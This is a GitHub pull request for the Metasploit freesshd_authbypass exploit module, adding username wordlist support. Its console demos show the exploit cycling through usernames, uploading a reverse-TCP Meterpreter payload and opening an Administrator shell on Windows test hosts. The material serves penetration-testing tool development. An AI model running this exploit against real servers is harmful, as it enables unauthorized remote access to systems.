Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Freesshd authbypass update #1321

Merged
merged 6 commits into from Jan 16, 2013

Conversation

wchen-r7
Copy link
Contributor

Allows usernames to be loaded as a file (wordlist), that way it's much easier to manage. It defaults to unix_users.txt, because these usernames are common in any SSH hosts out there.
If the user only wants to try a specific user (which is better, because you reduce traffic noise that way), then he/she can set the USERNAME option, and that should be the only one tried -- similar to how AuthBrute behaves.

I also fixed the regex in check().

Demo:

msf  exploit(freesshd_authbypass) > show options

Module options (exploit/windows/ssh/freesshd_authbypass):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      10.0.1.6         yes       The target address
   RPORT      22               yes       The target port
   USERNAME                    no        A specific username to try
   USER_FILE  /tmp/users.txt   yes       File containing usernames, one per line


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     10.0.1.3         yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Freesshd <= 1.2.6 / Windows (Universal)


msf  exploit(freesshd_authbypass) > exploit

[*] Started reverse handler on 10.0.1.3:4444 
[*] Trying username 'root'
[*] Trying username 'Administrator'
[*] Trying username 'apple'
[*] Trying username 'lab'
[*] Uploading payload, this may take several minutes...
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.6:1079) at 2013-01-16 02:13:56 -0600

meterpreter >

[SeeRM: rapid7#7138] by jabra
Allows usernames to be loaded as a file (wordlist), that way the
it's much easier to manage.  It defaults to unix_users.txt,
because these usernames are common in any SSH hosts out there.
If the user only wants to try a specific user (which is better,
because you reduce traffic noise that way), then he/she can set
the USERNAME option, and that should be the only one tried --
similar to how AuthBrute behaves.

I also fixed the regex in check().
@jvazquez-r7
Copy link
Contributor

Working, merged!

msf > use exploit/windows/ssh/freesshd_authbypass 
msf  exploit(freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
   Name       Current Setting                                                          Required  Description
   ----       ---------------                                                          --------  -----------
   RHOST                                                                               yes       The target address
   RPORT      22                                                                       yes       The target port
   USERNAME                                                                            no        A specific username to try
   USER_FILE  /Users/juan/Projects/metasploit-framework/data/wordlists/unix_users.txt  yes       File containing usernames, one per line
Exploit target:
   Id  Name
   --  ----
   0   Freesshd <= 1.2.6 / Windows (Universal)
msf  exploit(freesshd_authbypass) > set rhosts 192.168.1.142
rhosts => 192.168.1.142
msf  exploit(freesshd_authbypass) > set rhost 192.168.1.142
rhost => 192.168.1.142
msf  exploit(freesshd_authbypass) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.128:4444 
[*] Trying username '4Dgifts'
[*] Trying username 'EZsetup'
[*] Trying username 'OutOfBox'
[*] Trying username 'ROOT'
[*] Trying username 'adm'
[*] Trying username 'admin'
[*] Uploading payload, this may take several minutes...
[*] Sending stage (752128 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:4315) at 2013-01-16 12:26:18 +0100
meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.142 - Meterpreter session 1 closed.  Reason: User exit

@jvazquez-r7 jvazquez-r7 merged commit 0f24671 into rapid7:master Jan 16, 2013
@wchen-r7 wchen-r7 deleted the freesshd_authbypass_update branch August 22, 2016 16:30
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants